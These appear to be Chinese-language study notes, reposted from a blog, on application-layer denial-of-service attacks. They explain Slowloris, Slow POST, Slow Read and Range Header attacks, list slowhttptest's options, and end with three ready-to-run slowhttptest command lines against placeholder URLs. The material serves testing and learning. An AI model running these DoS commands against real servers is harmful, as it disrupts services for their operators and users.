應用層服務漏洞:
服務代碼存在漏洞,遇異常提交數(shù)據(jù)時程序崩潰
應用處理大量并發(fā)請求能力有限,被拒絕的是應用或OS
緩沖區(qū)溢出漏洞:
向目標函數(shù)隨機提交數(shù)據(jù),特定情況下數(shù)據(jù)覆蓋臨近寄存器或內存
影響:遠程代碼執(zhí)行,DoS
利用模糊測試方法發(fā)現(xiàn)緩沖區(qū)溢出漏洞
slowhttpest(源自google)
低寬帶應用慢速DoS攻擊,最先由Python編寫,跨平臺,尤其擅長Apache,Tomcat(幾乎白發(fā)百種)
-g 在測試完成后,以時間戳為名生成一個CVS和html文件的統(tǒng)計數(shù)據(jù)
-H SlowLoris模式
-B Slow POST模式
-R Range Header模式
-X Slow Read模式
-c number of connections 測試時建立的連接數(shù)
-d HTTP proxy host:port 為所有連接指定代理
-e HTTP proxy host:port 為探測連接指定代理
-i seconds 在slowrois和Slow POST模式中,指定發(fā)送數(shù)據(jù)間的間隔。
-l seconds 測試維持時間
-n seconds 在Slow Read模式下,指定每次操作的時間間隔。
-o file name 使用-g參數(shù)時,可以使用此參數(shù)指定輸出文件名
-p seconds 指定等待時間來確認DoS攻擊已經(jīng)成功
-r connections per second 每秒連接個數(shù)
-s bytes 聲明Content-Length header的值
-t HTTP verb 在請求時使用什么操作,默認GET
-u URL 指定目標url
-v level 日志等級(詳細度)
-w bytes slow read模式中指定tcp窗口范圍下限
-x bytes 在slowloris and Slow POST tests模式中,指定發(fā)送的最大數(shù)據(jù)長度
-y bytes slow read模式中指定tcp窗口范圍上限
-z bytes 在每次的read()中,從buffer中讀取數(shù)據(jù)量
攻擊方法:
Sloworis,Slow HTTP POST攻擊
耗盡應用的并發(fā)鏈接池,類似于HTTP層的syn flood
http協(xié)議默認在服務器全部接受請求后才開始處理,如果客戶端發(fā)送速度緩慢或不完整,服務器為他保留連接資源池占用,此類大量并發(fā)導致DoS
Slowloris 攻擊:完整的http請求頭結尾是rnrn,攻擊發(fā)rn....
Slow POST 攻擊:http頭content-length聲明長度,但body部分緩慢發(fā)送
Slow Read 攻擊:與slowloris and slow POST目的相同,都是耗盡應用的并發(fā)連接池,不同之處在于請求正常發(fā)送,但慢速讀取響應數(shù)據(jù),攻擊者調整TCP window窗口大小,是服務器慢速返回數(shù)據(jù)
Apache Range Header攻擊:客戶端傳輸大文件時,體積超過HTTP body大小限制時進行分段,耗盡服務器CPU,內存資源
slowloris模式:
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://xxxxxx.xxxxx.xx -x 24 -p 3
slow post模式:
$ slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://xxx.xxx.xxx -x 10 -p 3
slow read模式:
$ slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://xxx.xxx.xxx -p 3
原文轉自:https://www.cnblogs.com/Hydraxx/p/10470910.html